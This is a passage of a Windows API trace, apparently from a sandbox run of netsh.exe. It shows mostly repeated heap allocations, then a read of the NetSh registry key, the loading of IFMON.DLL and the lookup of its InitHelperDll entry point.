0x12ee08bff80 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c02e0 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0440 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0300 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.480] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0280 [0288.480] GetProcessHeap () returned 0x12ee08b0000 [0288.480] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0320 [0288.480] GetProcessHeap () returned 0x12ee08b0000 [0288.480] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bffc0 [0288.480] GetProcessHeap () returned 0x12ee08b0000 [0288.480] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bff60 [0288.480] GetProcessHeap () returned 0x12ee08b0000 [0288.480] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c00e0 [0288.480] GetProcessHeap () returned 0x12ee08b0000 [0288.480] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bffa0 [0288.480] GetProcessHeap () returned 0x12ee08b0000 [0288.480] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfd80 [0288.480] GetProcessHeap () returned 0x12ee08b0000 [0288.480] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0380 [0288.480] GetProcessHeap () returned 0x12ee08b0000 [0288.480] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c00a0 [0288.480] GetProcessHeap () returned 0x12ee08b0000 [0288.480] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfd60 [0288.480] GetProcessHeap () returned 0x12ee08b0000 [0288.480] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0020 [0288.480] GetProcessHeap () returned 0x12ee08b0000 [0288.480] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfe40 [0288.481] GetProcessHeap () returned 0x12ee08b0000 [0288.481] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfe60 [0288.481] GetProcessHeap () returned 0x12ee08b0000 [0288.481] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0340 [0288.481] GetProcessHeap () returned 0x12ee08b0000 [0288.481] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c03a0 [0288.481] GetProcessHeap () returned 0x12ee08b0000 [0288.481] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfe80 [0288.481] GetProcessHeap () returned 0x12ee08b0000 [0288.481] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bffe0 [0288.481] GetProcessHeap () returned 0x12ee08b0000 [0288.481] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c01e0 [0288.481] GetProcessHeap () returned 0x12ee08b0000 [0288.481] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0420 [0288.481] GetProcessHeap () returned 0x12ee08b0000 [0288.481] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c01c0 [0288.481] GetProcessHeap () returned 0x12ee08b0000 [0288.481] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0100 [0288.481] GetProcessHeap () returned 0x12ee08b0000 [0288.481] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0240 [0288.481] GetProcessHeap () returned 0x12ee08b0000 [0288.481] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c01a0 [0288.481] GetProcessHeap () returned 0x12ee08b0000 [0288.481] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0180 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0200 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0000 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0220 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c02a0 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c03e0 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfea0 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c03c0 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0160 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfee0 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c02c0 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0400 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0460 [0288.482] GetProcessHeap () returned 0x12ee08b0000 [0288.482] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0480 [0288.483] GetProcessHeap () returned 0x12ee08b0000 [0288.483] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c04a0 [0288.483] GetProcessHeap () returned 0x12ee08b0000 [0288.483] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bff00 [0288.483] GetProcessHeap () returned 0x12ee08b0000 [0288.483] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfd20 [0288.483] GetProcessHeap () returned 0x12ee08b0000 [0288.483] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfd40 [0288.483] GetProcessHeap () returned 0x12ee08b0000 [0288.483] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bff20 [0288.483] GetProcessHeap () returned 0x12ee08b0000 [0288.483] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bff40 [0288.483] GetProcessHeap () returned 0x12ee08b0000 [0288.483] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0040 [0288.483] GetProcessHeap () returned 0x12ee08b0000 [0288.483] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0080 [0288.483] GetProcessHeap () returned 0x12ee08b0000 [0288.483] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0120 [0288.483] GetProcessHeap () returned 0x12ee08b0000 [0288.483] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0850 [0288.483] GetProcessHeap () returned 0x12ee08b0000 [0288.483] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0a50 [0288.483] GetProcessHeap () returned 0x12ee08b0000 [0288.483] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0550 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0830 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0ab0 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c08d0 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0610 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0570 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0a10 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0890 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0710 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0530 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0a70 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0c10 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0970 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0730 [0288.484] GetProcessHeap () returned 0x12ee08b0000 [0288.484] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0590 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0a90 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c05d0 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c09b0 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0b70 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c06f0 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0810 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0ad0 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0870 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c08b0 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c08f0 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c06d0 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0950 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0b30 [0288.485] GetProcessHeap () returned 0x12ee08b0000 [0288.485] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c05f0 [0288.486] GetProcessHeap () returned 0x12ee08b0000 [0288.486] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0cb0 [0288.486] GetProcessHeap () returned 0x12ee08b0000 [0288.486] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0990 [0288.486] GetProcessHeap () returned 0x12ee08b0000 [0288.486] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0b10 [0288.486] GetProcessHeap () returned 0x12ee08b0000 [0288.486] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0750 [0288.486] GetProcessHeap () returned 0x12ee08b0000 [0288.486] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0770 [0288.486] GetProcessHeap () returned 0x12ee08b0000 [0288.486] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c07b0 [0288.486] GetProcessHeap () returned 0x12ee08b0000 [0288.486] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0b90 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c06b0 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0b50 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0790 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0af0 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c07d0 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0bb0 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0bf0 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0910 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c09d0 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0930 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c09f0 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c07f0 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c05b0 [0288.487] GetProcessHeap () returned 0x12ee08b0000 [0288.487] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0a30 [0288.488] GetProcessHeap () returned 0x12ee08b0000 [0288.488] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0bd0 [0288.488] GetProcessHeap () returned 0x12ee08b0000 [0288.488] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0c30 [0288.488] GetProcessHeap () returned 0x12ee08b0000 [0288.488] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0c50 [0288.488] GetProcessHeap () returned 0x12ee08b0000 [0288.488] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0c70 [0288.488] GetProcessHeap () returned 0x12ee08b0000 [0288.488] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0c90 [0288.488] GetProcessHeap () returned 0x12ee08b0000 [0288.488] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0630 [0288.488] GetProcessHeap () returned 0x12ee08b0000 [0288.488] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0650 [0288.488] GetProcessHeap () returned 0x12ee08b0000 [0288.488] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0670 [0288.488] GetProcessHeap () returned 0x12ee08b0000 [0288.488] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0690 [0288.488] GetProcessHeap () returned 0x12ee08b0000 [0288.488] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c1180 [0288.488] GetProcessHeap () returned 0x12ee08b0000 [0288.489] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0e40 [0288.489] GetProcessHeap () returned 0x12ee08b0000 [0288.489] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c10c0 [0288.489] GetProcessHeap () returned 0x12ee08b0000 [0288.489] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c12c0 [0288.489] GetProcessHeap () returned 0x12ee08b0000 [0288.489] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0de0 [0288.489] GetProcessHeap () returned 0x12ee08b0000 [0288.489] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c12e0 [0288.489] GetProcessHeap () returned 0x12ee08b0000 [0288.489] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0e80 [0288.489] GetProcessHeap () returned 0x12ee08b0000 [0288.489] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0ea0 [0288.489] GetProcessHeap () returned 0x12ee08b0000 [0288.489] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0da0 [0288.489] GetProcessHeap () returned 0x12ee08b0000 [0288.489] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c1340 [0288.489] GetProcessHeap () returned 0x12ee08b0000 [0288.489] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c1200 [0288.489] GetProcessHeap () returned 0x12ee08b0000 [0288.489] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0d40 [0288.489] GetProcessHeap () returned 0x12ee08b0000 [0288.489] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c1480 [0288.490] GetProcessHeap () returned 0x12ee08b0000 [0288.490] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0f80 [0288.490] GetProcessHeap () returned 0x12ee08b0000 [0288.490] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0fc0 [0288.490] GetProcessHeap () returned 0x12ee08b0000 [0288.490] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c1300 [0288.490] GetProcessHeap () returned 0x12ee08b0000 [0288.490] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0f20 [0288.490] GetProcessHeap () returned 0x12ee08b0000 [0288.490] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c1120 [0288.490] GetProcessHeap () returned 0x12ee08b0000 [0288.490] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0f40 [0288.490] GetProcessHeap () returned 0x12ee08b0000 [0288.490] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c1380 [0288.490] GetProcessHeap () returned 0x12ee08b0000 [0288.490] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0f00 [0288.490] GetProcessHeap () returned 0x12ee08b0000 [0288.490] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0fa0 [0288.490] GetProcessHeap () returned 0x12ee08b0000 [0288.490] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c1220 [0288.490] GetProcessHeap () returned 0x12ee08b0000 [0288.490] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0d60 [0288.491] GetProcessHeap () returned 0x12ee08b0000 [0288.491] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c1000 [0288.491] GetProcessHeap () returned 0x12ee08b0000 [0288.491] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c1460 [0288.491] GetProcessHeap () returned 0x12ee08b0000 [0288.491] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0e00 [0288.491] GetProcessHeap () returned 0x12ee08b0000 [0288.491] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0d80 [0288.491] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0288.491] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0288.491] GetProcessHeap () returned 0x12ee08b0000 [0288.491] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x28) returned 0x12ee08bb8b0 [0288.491] GetProcessHeap () returned 0x12ee08b0000 [0288.491] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x2) returned 0x12ee08bdeb0 [0288.491] GetProcessHeap () returned 0x12ee08b0000 [0288.492] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x14) returned 0x12ee08c1160 [0288.492] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0288.492] GetProcessHeap () returned 0x12ee08b0000 [0288.492] RtlFreeHeap (HeapHandle=0x12ee08b0000, Flags=0x0, BaseAddress=0x0) returned 1 [0288.492] GetProcessHeap () returned 0x12ee08b0000 [0288.492] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x58) returned 0x12ee08b56b0 [0288.492] GetProcessHeap () returned 0x12ee08b0000 [0288.492] RtlFreeHeap (HeapHandle=0x12ee08b0000, Flags=0x0, BaseAddress=0x0) returned 1 [0288.492] GetProcessHeap () returned 0x12ee08b0000 [0288.492] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0xb0) returned 0x12ee08b5030 [0288.492] GetProcessHeap () returned 0x12ee08b0000 [0288.492] RtlFreeHeap (HeapHandle=0x12ee08b0000, Flags=0x0, BaseAddress=0x12ee08b56b0) returned 1 [0288.492] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-0.dll", hFile=0x0, dwFlags=0x8) returned 0x7ff9b37d0000 [0288.872] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0xfb9cf7698 | out: phkResult=0xfb9cf7698*=0xb4) returned 0x0 [0288.872] RegQueryInfoKeyW (in: hKey=0xb4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xfb9cf76d0, lpcbMaxValueNameLen=0xfb9cf76e0, lpcbMaxValueLen=0xfb9cf76d8, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xfb9cf76d0*=0x14, lpcbMaxValueNameLen=0xfb9cf76e0, lpcbMaxValueLen=0xfb9cf76d8, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0288.872] GetProcessHeap () returned 0x12ee08b0000 [0288.872] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x8, Size=0x16) returned 0x12ee08c14a0 [0288.872] GetProcessHeap () returned 0x12ee08b0000 [0288.872] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x8, Size=0x23) returned 0x12ee08bb8e0 [0288.872] RegEnumValueW (in: hKey=0xb4, dwIndex=0x0, lpValueName=0x12ee08c14a0, lpcchValueName=0xfb9cf7690, lpReserved=0x0, lpType=0x0, lpData=0x12ee08bb8e0, lpcbData=0xfb9cf76e8 | out: lpValueName="2", lpcchValueName=0xfb9cf7690, lpType=0x0, lpData=0x12ee08bb8e0, lpcbData=0xfb9cf76e8) returned 0x0 [0288.872] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10 [0288.872] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10 [0288.872] GetProcessHeap () returned 0x12ee08b0000 [0288.872] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x50) returned 0x12ee08c1a30 [0288.873] GetProcessHeap () returned 0x12ee08b0000 [0288.873] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x4) returned 0x12ee08bdec0 [0288.873] GetProcessHeap () returned 0x12ee08b0000 [0288.873] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x14) returned 0x12ee08c1100 [0288.873] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL" [0288.873] GetProcessHeap () returned 0x12ee08b0000 [0288.873] RtlFreeHeap (HeapHandle=0x12ee08b0000, Flags=0x0, BaseAddress=0x12ee08bb8b0) returned 1 [0288.873] LoadLibraryExW (lpLibFileName="IFMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff9ac1c0000 [0288.950] GetProcAddress (hModule=0x7ff9ac1c0000, lpProcName="InitHelperDll") returned 0x7ff9ac1c1310 [0288.950] 